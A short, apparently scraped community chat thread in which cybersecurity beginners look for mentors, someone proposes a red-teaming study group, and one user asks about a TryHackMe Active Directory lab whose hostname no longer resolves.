Pls am looking for a cyber security mentor,am in need of someone to work with,help while growing myself
i just started my journey
Good luck on your cyber journey 🙂 🚀
thanks
lets be partners
the word's best motivator
Hello everyone well this is just something I want to to do actually soo basically I want to have a group of both newbies and experienced people in th world of cybersecurity mainly red teaming and penetration testing so we can all learn together and build ourselves. I know some might have some contradictory opinions but it's just what I think works. Soo anyone interested?.
"ntlmauth.za.tryhackme.com" doesn't appear to exist anymore, is it still possible to complete Breaching Active Directory?
sounds cool, I'm interested
Tips?